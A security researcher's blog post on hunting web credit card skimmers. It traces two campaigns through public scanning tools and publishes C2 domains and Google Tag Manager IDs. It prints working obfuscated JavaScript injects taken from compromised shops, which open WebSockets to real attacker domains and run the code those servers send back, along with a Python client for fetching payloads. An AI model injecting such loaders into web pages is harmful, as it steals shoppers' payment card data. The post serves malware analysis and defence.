Hello everyone, and welcome back to another blog post. Today, I will show you my approaches to hunting credit card skimmers. This blog is by no means the ultimate guide to doing it, but I think it's an interesting topic and so I would like to present to you some of the techniques I have learned during the last few months. Full Disclosure: I will not tell you how to find completely new skimmer campaigns. I haven’t really found an answer on how to do it yet. My best guess is that it needs either luck or large-scale internet data collection, both of which I can’t really plan with. However, it is definitely possible to expand on existing campaigns and find new indicators, attack variations and interesting insights on the way.
What are web-based credit card skimmers?
Web-based credit card skimmers are malicious software or code injected into e-commerce websites to steal payment card information during online transactions. Unlike traditional physical skimmers attached to ATMs, point-of-sale terminals, or gas stations, these digital skimmers target the checkout process on websites.
The normal attack flow can be described as follows:
1. An attacker identifies a webshop that allows for credit card payments.
2. The attacker tries to identify vulnerabilities in the website. Hereby a range of attack vectors can be used. They’ll try various attack methods — it doesn’t really matter how they get in, as long as they gain the ability to modify the website’s code. This could happen through exploiting vulnerabilities or simply by stealing an admin’s login credentials.
3. Once the attacker obtains privileges to make code changes, they will add their own code (mostly written in Javascript) to the webpage.
4. From here on, the attacker simply needs to sit and wait. Whenever a visitor arrives at the infected website, the code placed by the attacker will track the victim's interactions with the website. Most of the time this code won’t be the skimmer code itself, but a first-stage inject. This inject won’t load any additional code until the victim is about to make a purchase. However, as soon as the victim has added all wanted items to their shopping cart and clicks on the checkout button, the skimmer code will get to work. It will start to load additional JavaScript from an external attacker-controlled server which has only one goal: To steal all information the victim puts into the payment form, most importantly, the visitor's credit card details, and consequently exfiltrate them to an attacker-controlled C2 server.
As with most cyberattacks, there are different variations of this attack approach. For example, attackers can either go for single high-value websites in targeted attacks, or they can try to automate the previously described attack steps for automated large-scale campaigns. Ultimately, this is of little difference for the victim. Ones their payment details have been stolen, it will not take long until they end up being resold or used by the attackers themselves to empty the victim’s bank accounts via fraudulent payments.
The Tools
Before we dive into the actual hunting, I want to give you a list of tools that I commonly use for this task. If you want to play along, you can already make sure to open them in your favorite web browser. All of them are free although some will require to setup an account.
- malpedia (or Google): For finding articles on credit card skimmers as a starting point for my own investigations
- Validin Community Edition: For analyzing web infrastructure and identifying compromised e-commerce pages.
- Urlscan.io: For identifying compromised e-commerce pages and finding skimmer code pieces.
- FoFa search engine: For identifying compromised e-commerce pages.
- CyberChef: For deobfuscation
- deobfuscate.io: For Javascript deobfuscation
- Some LLM: It just makes my life so much easier! For this blog post, I am going to use Claude AI in most cases.
- Python: Any programming language is viable, the key advantage is automating things. Hint: LLMs can give you code snippets!
- Javascript: I am no expert in it myself and luckily an LLM can help you to understand most things, but being proficient in Javascript is definitely a plus.
The Hunt — Part 1
Time to search for our first skimmer. Let's start by searching some recent known indicators. After a bit of googling around, you might stumble upon:
A blog post released by the web security company Sucuri about a credit card skimmer targeting WordPress websites. As of right now, it is around 10 days old. What is interesting for us is that there is a unique variable in the skimmer script, which allows us to do further searches. The script that is injected, in this case via a WordPress plugin vulnerability, contains the string:
crounch123
While the link to publicwww.com that Sucuri provides in the blog post for pivoting doesn’t work because the attackers seem to have shifted infrastructure since the blog post, we can search the same string in FoFa, which also returns historical search results.
It appears we have found our first potential victim. We can use the FoFa engine to have a look at the website's body at the point of infection:
As we can see the string was indeed present. Not only that but there is also a ton of obfuscated and badly readable code directly after the inject. Let's deobfuscated it:
Well, I will spare you an endless wall of code here, but this screenshot is enough to show that whatever this code does is likely not good.
At the very top, we can see that it only activates if the web path is “/checkout/onpage”. As initially explained that is a common check for a webskimmer. Then we see the two C2 domains indicated in the Securi blog post as being the servers where stolen credit card data is exfiltrated too. Below that, we see a lot of variables indicating billing information and stripe payment details. Stripe is a known and reputable technology platform for online payments, often used by websites to accept financial transactions. As indicated in the Securi blog post, the skimmer “dynamically creates a fake payment form that mimics legitimate payment processors (e.g., Stripe). The form includes fields for the credit card number, expiration date, CVV, and billing information.” The variables _stripeElement-cc-num, _stripeElement-cc-exp and _stripeElement-cc-cvn are directly responsible for storing the data entered into this fake payment form, while the other details are taken from the legitimate payment form of the website.
Now that we have confirmed that the website 3d-cakes.co.uk was compromised by this skimmer in the past, let us take a look if it is still compromised. In order to do so, we open the page and switch to the website source code (Strg+U in Google Chrome).
An initial search for “crounch123” yields no result. However, to make sure there is nothing bad left, let's search for all functions on the page. Oh, what is this?
At the very bottom of the page, after 112 empty lines, we can find obfuscated JavaScript.
<script>
const vwp = [93, 89, 89, 16, 5, 5, 93, 69, 88, 78, 90, 88, 79, 89, 89, 7, 88, 79, 78, 67, 88, 79, 73, 94, 4, 72, 67, 80, 5, 75, 89, 89, 79, 94, 89, 21, 89, 69, 95, 88, 73, 79, 23];
const uioa = 42;
window.ww = new WebSocket(String.fromCharCode(...vwp.map(fqix => fqix ^ uioa)) + encodeURIComponent(location.href));
window.ww.addEventListener('message', event => {
new Function(event.data)()
}); < /script>
What we can immediately see is:
- There is a WebSocket being opened to whatever is in that array
- The array seems to contain Characters that are XOR encrypted with the number 42
- Once the WebSocket is established, whatever message is received will be turned into a function and embedded into the page
So, let's try to deobfuscate this array. Essentially, we could use a Python script to do it. However, I built an equivalent cyberchef script here. It takes all entries of the array with space delimiters, converts them to bytes and then XORs 42.
The result is our first new IoC for today:
wss://wordpress-redirect.biz/assets?source=
In the observed script, the current URL would be added as a parameter if this code was to be executed. This is quite a nice move by the attackers. Defenders have known for a long time that credit card skimmers will only activate when they recognize a payment page. There are only so many ways to do this identification in Javascript, so the attackers must assume that security solutions could be triggered if they scan the URL path against known words like “checkout” or “payment”. Instead, this particular inject simply pings the current URL to the attacker's server, where they can then easily filter for those pages where the skimmer should activate. Additionally, they can always keep track of which pages they have infected and compare with incoming values, allowing them to prevent the loading of code by researchers as long as those researchers don’t know an infected website. They can even load custom code for each webpage, adapting the loaded skimmer code to the website that is trying to load it.
However, since we now know an infected webpage and the WebSocket connection details, time to ask ClaudeAI to code us a WebSocket client to get the juicy malware.
import asyncio
import websockets
import urllib.parse
import datetime
import json
import ssl
class WebSocketAnalyzer:
def __init__(self, base_url, domain="example.com"):
self.base_url = base_url
self.domain = domain
# Updated to include /checkout/cart/ path
self.full_url = f"{base_url}{urllib.parse.quote(f'https://{domain}/checkout/cart/')}"
self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
self.ssl_context.check_hostname = False
self.ssl_context.verify_mode = ssl.CERT_NONE
async def save_payload(self, payload):
"""Save received payload to a file with timestamp"""
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"malicious_payload_{timestamp}.txt"
with open(filename, "w") as f:
f.write(f"# Payload received at {timestamp}\n")
f.write(f"# From: {self.full_url}\n")
f.write(f"# Raw payload:\n{payload}\n\n")
try:
parsed = json.loads(payload)
f.write(f"\n# Formatted payload:\n{json.dumps(parsed, indent=2)}")
except:
pass
print(f"[+] Saved payload to {filename}")
async def analyze(self):
"""Connect to WebSocket and analyze traffic"""
try:
print(f"[*] Attempting to connect to: {self.full_url}")
# Updated headers to match the working curl request
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
'Origin': f'https://{self.domain}',
'Cache-Control': 'no-cache',
'Accept-Language': 'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7',
'Pragma': 'no-cache',
'Sec-WebSocket-Extensions': 'permessage-deflate; client_max_window_bits'
}
async with websockets.connect(
self.full_url,
ssl=self.ssl_context,
subprotocols=['wss'],
extra_headers=headers,
compression=None # Disable compression to match curl request
) as websocket:
print("[+] Connected successfully")
while True:
try:
message = await websocket.recv()
print(f"[+] Received payload of length: {len(message)}")
await self.save_payload(message)
except websockets.exceptions.ConnectionClosed:
print("[-] Connection closed by server")
break
except Exception as e:
print(f"[-] Error: {str(e)}")
print(f"[-] Full URL attempted: {self.full_url}")
async def main():
# Decode the original C2 URL
vwp = [93,89,89,16,5,5,93,69,88,78,90,88,79,89,89,7,88,79,78,67,88,79,73,94,4,72,67,80,5,75,89,89,79,94,89,21,89,69,95,88,73,79,23]
uioa = 42
base_url = ''.join([chr(num ^ uioa) for num in vwp])
analyzer = WebSocketAnalyzer(base_url, "www.3d-cakes.co.uk")
await analyzer.analyze()
if __name__ == "__main__":
print("[*] Starting WebSocket C2 Traffic Analyzer")
print("[!] WARNING: Only run this in a controlled analysis environment!")
asyncio.run(main())
And, after running this code, we successfully retrieve the skimmer.
That makes the second successfully collected skimmer for this post. Awesome :)
Again, this code comes with a lot of obfuscation and JavaScript shenanigans. But let's have a look at the first lines of the deobfuscated code:
Again, it is quite obvious what this code aims to collect. I will not do an extensive code analysis for the sake of this blog post. Yet it is important to note that the stolen data is extracted via the exact same WebSocket previously initialized. The code even has a function to reopen said WebSocket if it should have stopped at the time of exfiltration.
Ok, so where can we take this from here, besides a code analysis?
Time for some pivoting!
The Pivot
In this case, pivoting is very easy using the capabilities of Validin. Once we enter the domain into the search field, we can easily see that Validin already recognizes the domain as malicious (red triangle with exclamation mark), since I reported it to the maltrail project some days ago.
We can also see, that there is only two IP addresses that have historically been connected with this domain:
185.11.61.57
75.2.103.23
with one of them being an AWS IP and the other from Hong Kong (in fact it is likely a Russian provider).
As expected, the AWS IP gives us a really hard time, since it is a shared hosting one with over 5000 domains attributed by Validin. But the IP address with AS57523 is very interesting.
Those domains look too similar for a coincidence Additionally, these 2 domains are the only two recorded for this IP. I guess it's safe to say we found another IoC.
But, we are not done yet. Sometimes it can be really interesting to check out additional DNS records for your IoC. May I present:
The SOA_RNAME record for our C2 domain points at a proton.me domain. Might there be more domains to uncover here? Let's pivot again.
Jackpot. A ton of domains following the patterns of our initial C2 domains. I later confirmed that several of these domains are actively used in this campaign. Some of them appear to be staging servers for the offensive side of this campaign used to attack websites and infect them with JavaScript.
Let us use a different tactic to assess the damage and scale of this campaign. Earlier, we discovered that the inject using the known script identifier “crounch123” had been replaced by a new inject.
Let's use FOFA to find more pages injected with this new kind of inject. A good way to do so might be by searching for the WebSocket implementation.
"window.ww = new WebSocket("
Here is the FoFa link:
https://en.fofa.info/result?qbase64=IndpbmRvdy53dyA9IG5ldyBXZWJTb2NrZXQoIg%3D%3D
301 unique IPs and all domains appear to be related to e-commerce. I guess it's safe to say we are onto something here.
I will spare you the analysis of each of these results. But I did look at some of them and there are definitely more indicators to find here. Additionally, there are also variants in the inject pattern.
A list of C2s I identified can be found below:
wss://eeestats.com/common?source=
wss://cpeciadogfoods.com/common?source=
wss://neshion.com/chat?source=
wss://gstatlc.org/jivo?source=
wss://api-chat.live/v3.5/customer?source=
wss://schneemann.tech/folder1?source=
wss://wordpress-redirect.biz/assets?source=
wss://cdn.iconstaff.top/common?source=
wss://tetsted.com/common?source=
wss://brudget.net/jivo?source=
wss://clearnetfab.net/common?source=
wss://jstatic201.com/common?source=
wss://cdn-statistics.com/connection?source=
wss://jquerywp.xyz/json?source=
wss://cdn.inspectdlet.net/ws?source=
wss://windowsupdate.io/wKdNdJGZ?source=
wss://analyticsseolinks.online/common?source=
wss://gatetpere.space/common?source=
wss://webexcelsior.org/common?source=
wss://dobrowork.space/static/?source=
wss://privatstripp.tech/common?source=
wss://lererikal.org/common?source=
wss://bc.nc-img.co/s?source=
wss://wargular.xyz/common?source=
wss://cd.iconstaff.top/m?source=
wss://socket.bulforanalysis.online/common?source=
wss://handsl.org/common?source=
wss://getcssmodals.com/common?source=
wss://cantact.chat/v1?source=
wss://fallodick87-78.sbs/common?source=
wss://ebatkopat.click/common?source=
wss://cdn-webstats.com/ls?source=
wss://store-locator.org/chat?source=
And here is another form of inject related to this campaign:
! function(aga, uywc) {
! function(aga) {
var ghg = function(aga, uywc) {
return aga.map(function(aga, ghg) {
return String.fromCharCode(aga ^ uywc)
}).join('')
}(aga, uywc);
window.ww = new WebSocket(ghg + encodeURIComponent(location.href));
window.ww.addEventListener('message', function(event) {
new Function(event.data)()
})
}(aga)
}([93, 89, 89, 16, 5, 5, 94, 79, 94, 89, 94, 79, 78, 4, 73, 69, 71, 5, 73, 69, 71, 71, 69, 68, 21, 89, 69, 95, 88, 73, 79, 23], 42);
After collecting all these indicators, I was able to crossreference this campaign with a campaign observed by another security company which reported on it in August 2024:
https://sansec.io/research/cosmicsting-cnext-persistent-backdoor
If you look at their IoC section, you will find some of the indicators above.
Additionally, the injector code and the used paths in the WebSocket URLs overlap. The article also gives us a hint at the vulnerabilities used for this attack. If you want to read up on those, I linked two great articles in the “Additional Reading” section.
The Hunt — Part 2
Well, I think so far we are on a good track. And it's already quite a lot of content to digest. Yet I want to demonstrate a different analysis technique before rounding up this blogpost. In order to do so, we need to have a look at a different credit card skimmer.
Our starting point will be a tweet from security researcher Mikhail Kasimov who used the Validin search engine to pivot on known credit card skimmer infrastructure related to the Magecart threatactor and found additional C2 domains used to exfiltrate credentials.
https://x.com/500mk500/status/1869005029681905704
Among the indicators he discovered is the following domain:
chatjsdvcss.com
Let's try to find an infected page by using URLscan.io:
https://urlscan.io/search/#chatjsdvcss.com
There is only one result, 23 days old at the time of writing.
It appears that a French retailer of sports clothing has been compromised.
Let us try to confirm this via the scan result. Scrolling down through the connections logged by URLScan, we see the website loaded the file “require.min.js” from our malicious domain.
If we open the response by clicking “Show Response”, we are greeted by around 329 lines of obfuscated JavaScript code.
After deobfuscation, we will get the following code
var v;
new self["Function" || "Object"]("function P(v,N){var M=Y();return P=function(S,a){S=S-0x0;var W=M[S];return W;},P(v,N);}function Y(){var Z=['tp','937SVWUCf','from','WebSocket','508sRTVuY','24yKmaxH','11kFQPgi','14630736JFiqiY','721080oFXAJB','277760WJknKm','202708ErTcnY','402129SbsaDG','9zkFcKB','data','54aTXbDu','charCodeAt','join','onmessage','698632XnCllj','length','chatjsdvcss.com'];Y=function(){return Z;};return Y();}(function(v,N){var f={v:'0x155',N:'0x14c',M:'0x14e',S:'0x163',a:'0x14b',T:'0x144',E:'0x150'},M=v();function W(v,N){return P(v- -'0x159',N);}while(!![]){try{var S=parseInt(W(-'0x155',-'0x15c'))/0x1*(-parseInt(W(-'0x152',-'0x156'))/0x2)+parseInt(W(-'0x14a',-f.v))/0x3*(-parseInt(W(-f.N,-'0x152'))/0x4)+-parseInt(W(-f.M,-'0x144'))/0x5+-parseInt(W(-'0x151',-'0x15b'))/0x6*(-parseInt(W(-'0x14b',-'0x156'))/0x7)+parseInt(W(-'0x159',-f.S))/0x8*(-parseInt(W(-'0x148',-f.a))/0x9)+-parseInt(W(-'0x14d',-f.T))/0xa+-parseInt(W(-f.E,-'0x152'))/0xb*(-parseInt(W(-'0x14f',-'0x14d'))/0xc);if(S===N)break;else M['push'](M['shift']());}catch(a){M['push'](M['shift']());}}}(Y,0x58a0d));function alob(v,N){function u(v,N){return P(v-'0x1b1',N);}return Array[u('0x1b6','0x1ac')](v,(M,S)=>String['fromCharCode'](M[u('0x1c3','0x1bc')]()^N[u('0x1c3','0x1ca')](S%N[u('0x1b2','0x1b8')])))[u('0x1c4','0x1c0')]('');}function C(v,N){return P(v- -'0x190',N);};wsdat=C(-'0x18e',-'0x197'),wssuf=C(-'0x18d',-'0x18c'),m6620610p=new self[(C(-'0x18a',-'0x186'))]('wss://'+wsdat+'/'+wssuf),m6620610p[C(-'0x17c',-'0x17b')]=function(v){function U(v,N){return C(v-'0x561',N);}new self['Function'](decodeURI(atob(alob(v[U('0x3e1','0x3e2')],'m6620610p'))))['call'](this);};").call(this);
However, all this does is to load yet another piece of obfuscated code. The inner part can be deobfuscated to
function alob(v, N) {
return Array.from(v, (M, S) => String.fromCharCode(M.charCodeAt() ^ N.charCodeAt(S % N.length))).join("");
}
;
wsdat = "chatjsdvcss.com";
wssuf = "tp";
m6620610p = new self.WebSocket("wss://" + wsdat + "/" + wssuf);
m6620610p.onmessage = function (v) {
new self.Function(decodeURI(atob(alob(v.data, "m6620610p")))).call(this);
};
Now, having read the previous chapters, you can already recognize some alarming features:
- WebSockets again
- Some form of XOR encryption
- Our already identified C2 server chatjsdvcss.com with the path /tp
- Immediate execution of loaded content via the assignment to a Function and a .call(this) in the surrounding code
Let's find out if the page is still infected. As per this tweet, which Mikhail initially commented on, we know that this code is using some interesting Google tag manager redirect scheme:
https://x.com/sdcyberresearch/status/1816105654416748722
While I could pinpoint the inject in the website's source code, it is way easier to go a different route. After all, we know that at some point this code piece will be loaded. And we know that it will be related to WebSocket communication.
So all we need to do is open the browser developer tools, go to the network tab, and filter for WebSocket communications.
As we can see, something is reaching out to a strange domain via WebSocket. But it is not the domain we expected. Let's remove the WebSocket filter and instead filter the web communication for the new domain we just found.
jsmanifestgls.com
Interestingly, there is a JavaScript file that seems to come from the same domain as our WebSocket domain. Looking at the preview of said page, we encounter a known pattern.
Once we peel back the first layer it gets even more obvious what we are looking at:
var v14;
new self["Function" || "Object"]("function P(v,N){var M=Y();return P=function(S,a){S=S-0x0;var W=M[S];return W;},P(v,N);}function Y(){var Z=['refresh','937SVWUCf','from','WebSocket','508sRTVuY','24yKmaxH','11kFQPgi','14630736JFiqiY','721080oFXAJB','277760WJknKm','202708ErTcnY','402129SbsaDG','9zkFcKB','data','54aTXbDu','charCodeAt','join','onmessage','698632XnCllj','length','jsmanifestgls.com'];Y=function(){return Z;};return Y();}(function(v,N){var f={v:'0x155',N:'0x14c',M:'0x14e',S:'0x163',a:'0x14b',T:'0x144',E:'0x150'},M=v();function W(v,N){return P(v- -'0x159',N);}while(!![]){try{var S=parseInt(W(-'0x155',-'0x15c'))/0x1*(-parseInt(W(-'0x152',-'0x156'))/0x2)+parseInt(W(-'0x14a',-f.v))/0x3*(-parseInt(W(-f.N,-'0x152'))/0x4)+-parseInt(W(-f.M,-'0x144'))/0x5+-parseInt(W(-'0x151',-'0x15b'))/0x6*(-parseInt(W(-'0x14b',-'0x156'))/0x7)+parseInt(W(-'0x159',-f.S))/0x8*(-parseInt(W(-'0x148',-f.a))/0x9)+-parseInt(W(-'0x14d',-f.T))/0xa+-parseInt(W(-f.E,-'0x152'))/0xb*(-parseInt(W(-'0x14f',-'0x14d'))/0xc);if(S===N)break;else M['push'](M['shift']());}catch(a){M['push'](M['shift']());}}}(Y,0x58a0d));function alob(v,N){function u(v,N){return P(v-'0x1b1',N);}return Array[u('0x1b6','0x1ac')](v,(M,S)=>String['fromCharCode'](M[u('0x1c3','0x1bc')]()^N[u('0x1c3','0x1ca')](S%N[u('0x1b2','0x1b8')])))[u('0x1c4','0x1c0')]('');}function C(v,N){return P(v- -'0x190',N);};wsdat=C(-'0x18e',-'0x197'),wssuf=C(-'0x18d',-'0x18c'),I0861505n=new self[(C(-'0x18a',-'0x186'))]('wss://'+wsdat+'/'+wssuf),I0861505n[C(-'0x17c',-'0x17b')]=function(v){function U(v,N){return C(v-'0x561',N);}new self['Function'](decodeURI(atob(alob(v[U('0x3e1','0x3e2')],'I0861505n'))))['call'](this);};").call(this);
It is the identical type of injection we observed via URLscan.io!
For the sake of completeness, below is the deobfuscated inner part.
function alob(v, N) {
return Array.from(v, (M, S) => String.fromCharCode(M.charCodeAt() ^ N.charCodeAt(S % N.length))).join("");
}
;
wsdat = "jsmanifestgls.com";
wssuf = "refresh";
I0861505n = new self.WebSocket("wss://" + wsdat + "/" + wssuf);
I0861505n.onmessage = function (v) {
new self.Function(decodeURI(atob(alob(v.data, "I0861505n")))).call(this);
};
A different domain, a different webpath, a different password, but the same code as previously seen. It is responsible for loading and executing external JavaScript in the context of a victim's browser.
Looking at the code we can see that the Websocket is communicating via encrypted messages. Even worse, the key (example: “I0861505n") for this communication changes on every page reload.
Hooking some functions
While there are several approaches to solve this issue, the one I came up with is pretty straightforward. We know for a fact that there is some key functions that this skimmer needs to work. Those include:
1. decodeURI()
2. atob()
3. WebSocket()
All those functions are defined in our browser and not by the skimmer. So why not change the functionality of said functions in order to print all input and output?
Using the Chrome dev console and ClaudeAI, I came up with some JavaScript code to do just that.
https://gist.github.com/Gi7w0rm/502b21dff815ba73661888c446d85e5d
Note that this code is far from perfect. There is several modifications and improvements that could be made. However, it gets the basic job done in this particular case. Essentially, if you load a page and set a breakpoint right at the beginning of the page load, you can enter this in the console. It creates a copy of some important console functions (console.log(), console.warn(), console.error(), and console.info()) and then uses these copies in several functions that hook the following functions:
function: true,
atob: true,
decodeURI: true,
eval: false, //Disabled because it currently throws a lot of errors
webSocket: true,
functionCall: true
If you then continue to load the page, it will show you the input and output of the hooked functions (in raw, hex, and base64) in the dev console.
The initial copy of the base functions is done to evade some anti-debug features of the web skimmer code we are trying to analyze. In at least one instance I observed that the attacker's code was actively overwriting console.log and similar functions in order to render them useless. It is for the same reason that we need to initially halt the website load in order to create a copy of the original functions. If we make this copy after the skimmer is injected, we will copy the overwritten/broken functions instead of the working ones.
As we can see in Fig 19., the script produces a lot of output. But let me highlight some of the important details. First, the built-in filter of my script detected “Suspicious” activity. That is because the script has a filter for the particular page and webpath we observed as a skimmer C2. Secondly, we can see that there is a WebSocket request to the following address:
wss://jsmanifestgls.com/refresh
It is the credit card skimmer C2 we already identified. Next, we see a suspicious function call, loading 31.3 kB of “raw” code. Now, if we copy the hex version of this code and put it into CyberChef configured to decode hex to ASCII, we get obfuscated JavaScript.
Note: We use the Hex version here instead of the “raw” output, because I had several encoding issues with the raw output, mainly related to “+” symbols being interpreted as space characters by different parts of the process, ultimately breaking the obfuscated script.
Let us reverse the obfuscation and have a look at the result.
Well, looks like we found part of the skimmer code. It defines several functions to work with the previously created WebSocket. Highlighted in Red are several key functionalities that allow us to understand the functionality of a web skimmer.
Let me explain some of the details we see:
- The code implements functionality to send a specific data object to the attacker's server. This object is part of the Magento Payment Framework. In the context of Magento’s checkout system,
window.checkoutConfig
contains various configuration data that are loaded during the checkout process..addresses
contains an object with all the customer's saved addresses. The full address object normally contains the customer's first name, last name, street and city, region, postcode, cellphone number, country ID, etc. The data is later encoded and sent to the attacker's server. - The second functionality we see is
document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
. This selects all clickable elements like buttons, inputs, and links and attaches an event listener to them. It is later used to send the victim's data to the attacker. - At the very bottom, we can see that every request sends additional information to the attacker. This information contains the data that is stolen (all form field data, all hidden field data (important for the next part), the stored Magento data), the hostname of the compromised page where the data came from, a unique cookie value created by the skimmer that identifies the customer and the encryption key used to send the data.
However, there is an additional script that gets loaded via the WebSocket, which we can catch via the above-mentioned process. An excerpt can be seen below.
It is code specifically designed to manipulate the Adyen payment form. The documentation of said form can be found here:
In essence, it is the code responsible for the credit card fields we can observe in Fig 23.
The webskimmer code mentioned in Fig. 22 replaces the legitimate Ayden form iframes (ifnum, ifdataex and ifcvv) with “fake” iframes (ifnumfacke, ifnumfacke1 and ifnumfacke2). Those fake fields look exactly like the original payment form fields. There is no visual difference that could raise a victim's suspicion. However, if a victim enters their card details, the manipulated form does not follow the usual process but stores the values in hidden fields. Those hidden fields are then used by the previously discussed code responsible for sending payment data to the attacker's server (vBtoa variable) and exfiltrated once the victim clicks the blue button. Additionally, the skimmer code then reverts the changes it made to the payment form. It will show an error message to trick the victim into believing there was an issue with the details it entered. If the victim reenters their card details, the form will work as expected and the payment will go through. The victim will never know they just lost all their personal details and credit card data until getting an alert some weeks later notifying them of one or several fraudulent payments that have been attempted with their card. In the worst case, the victim's bank account will be empty before they can step in to stop the attackers from using the stolen payment details.
Conclusion
As presented in this blog post, there are several ways to hunt credit card web skimmers and uncover new parts of known campaigns. Using known, free investigative tools we uncovered a plethora of new Indicators of Compromise and several hundred compromised webshops. We also looked at an interesting method of extracting deobfuscated code by hooking certain browser functions, a helpful technique to bypass strong obfuscation of in-browser attacks. I hope you enjoyed the read and were able to take away some learnings as well. I will consider making a second part of this series, where we look in-depth at one of the uncovered credit card skimmer codes. Sadly, such analysis would likely enable abuse, which means I need to consider how I might be able to filter access to such an article. In the meantime, I would like to take this opportunity to point out my social media accounts, which you can find over at my LinkTree.
To support my work, please consider tipping me over at https://ko-fi.com/gi7w0rm. All contributions go towards projects like this one and — as a consequence — towards the security of all internet users.
I would also like to point out that I have recently finished my bachelor's degree and am currently looking for a job as a Cyber Threat Intelligence Analyst or Cybersecurity Researcher. More information can be found in this tweet:
https://x.com/Gi7w0rm/status/1878742236860731819
Thank you for your time and ongoing support!
Cheers ❤
IoC Section
#Campaign 1
valhafather.xyz
fqbe23.xyz
gjoagjiii.proton.me
wordpress-redirect.biz
data-redirect.biz
wordpress-request.com
wordpress-defense.com
redirect-security.digital
browser-security.digital
wordpress-secirity.org
wordpress-safety.org
wordpress-team.org
wordpress-control.org
wordpress-secure.org
serverproxy-v2homes.life
panel-alert-v1.homes
wss://eeestats.com/common?source=
wss://cpeciadogfoods.com/common?source=
wss://neshion.com/chat?source=
wss://gstatlc.org/jivo?source=
wss://api-chat.live/v3.5/customer?source=
wss://schneemann.tech/folder1?source=
wss://wordpress-redirect.biz/assets?source=
wss://cdn.iconstaff.top/common?source=
wss://tetsted.com/common?source=
wss://brudget.net/jivo?source=
wss://clearnetfab.net/common?source=
wss://jstatic201.com/common?source=
wss://cdn-statistics.com/connection?source=
wss://jquerywp.xyz/json?source=
wss://cdn.inspectdlet.net/ws?source=
wss://windowsupdate.io/wKdNdJGZ?source=
wss://analyticsseolinks.online/common?source=
wss://gatetpere.space/common?source=
wss://webexcelsior.org/common?source=
wss://dobrowork.space/static/?source=
wss://privatstripp.tech/common?source=
wss://lererikal.org/common?source=
wss://bc.nc-img.co/s?source=
wss://wargular.xyz/common?source=
wss://cd.iconstaff.top/m?source=
wss://socket.bulforanalysis.online/common?source=
wss://handsl.org/common?source=
wss://getcssmodals.com/common?source=
wss://cantact.chat/v1?source=
wss://fallodick87-78.sbs/common?source=
wss://ebatkopat.click/common?source=
wss://cdn-webstats.com/ls?source=
wss://store-locator.org/chat?source=
#Campaign 2
https://chatjsdvcss.com/require.min.js
wss://chatjsdvcss.com/tp
https://jsmanifestgls.com/captcha.js
wss://jsmanifestgls.com/refresh
#Malicious Google Tag Manager IDs for Campaign 2:
https://www.googletagmanager.com/gtm.js?id=GTM-5B6QHF9Q
https://www.googletagmanager.com/gtm.js?id=GTM-M25HB973
https://www.googletagmanager.com/gtm.js?id=GTM-MCXHCXJX
Additional Reading
Articles about the two vulnerabilities used by the first campaign discussed in this post:
2. https://medium.com/@knownsec404team/analysis-of-cve-2024-2961-vulnerability-e81c165cd897
Article describing the interesting technique used by campaign two to load the malicious JavaScript inject via Google Tags. Our analyzed script likely relates to Campaign 2 of the Recorded Future article.